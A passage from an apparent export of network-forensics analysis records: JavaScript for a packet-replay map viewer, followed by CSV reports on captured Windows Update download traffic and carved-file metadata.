14:34:31.896\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"96.16.53.163\", \"ttl\": 128, \"ip_id\": 16, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64039, \"dst_port\": 443, \"tcp_seq\": 959402096, \"tcp_ack\": 959402096, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}, {\"packet_number\": 27, \"timestamp\": 1784451871.89698, \"timestamp_iso\": \"2026-07-19T14:34:31.896980\", \"timestamp_human\": \"2026-07-19 14:34:31.896\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"96.16.53.163\", \"ttl\": 128, \"ip_id\": 17, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64039, \"dst_port\": 443, \"tcp_seq\": 959402096, \"tcp_ack\": 959402096, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}], \"tcp_flags\": {\"RST\": 2}, \"packet_sizes\": [54, 54], \"inter_packet_intervals\": [1.5020370483398438e-05], \"connection_type\": \"TCP Data\", \"threat_level\": \"high\", \"duration\": 1.5020370483398438e-05, \"avg_packet_size\": 54.0, \"packets_per_second\": 133152.50793650793, \"bytes_per_second\": 7190235.428571428, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 1.5020370483398438e-05, \"min_interval\": 1.5020370483398438e-05, \"max_interval\": 1.5020370483398438e-05}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a5ca4ceb3bed57e0e7378e3"},"sha256":"72e3fb64a103033837ee52ff73f5c00b2a8536b363431cd1308e7ce00f26908a","timestamp":{"$date":"2026-07-19T15:49:58.492Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n128.251.172.13,128.251.172.13,HTTP Host,0/70,Neutral,No,External\nhttp://128.251.172.13,128.251.172.13,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_j0vplj_u.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64011 -> 128.251.172.13:80 [AP] #4\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 128.251.172.13.\n.\"\n0.0,NGrep,##,\"Payload: T 128.251.172.13:80 -> 10.152.152.11:64011 [AP] #6\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 19 Jul 2026 10:10:07 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nX-CID: 10004.\nX-CCC: 2a683604-f515-4c8e-a7dc-2c201bed8d33.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: HIT.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpG\n##\nT 128.251.172.13:80 -> 10.152.152.11:64011 [AP] #8\nSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpurromk_4/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpurromk_4/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpurromk_4/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpurromk_4/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpurromk_4/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpurromk_4/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpurromk_4/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpurromk_4/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmpurromk_4/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-19T15:49:56.088897,Tool:tmpurromk_4/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpurromk_4/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 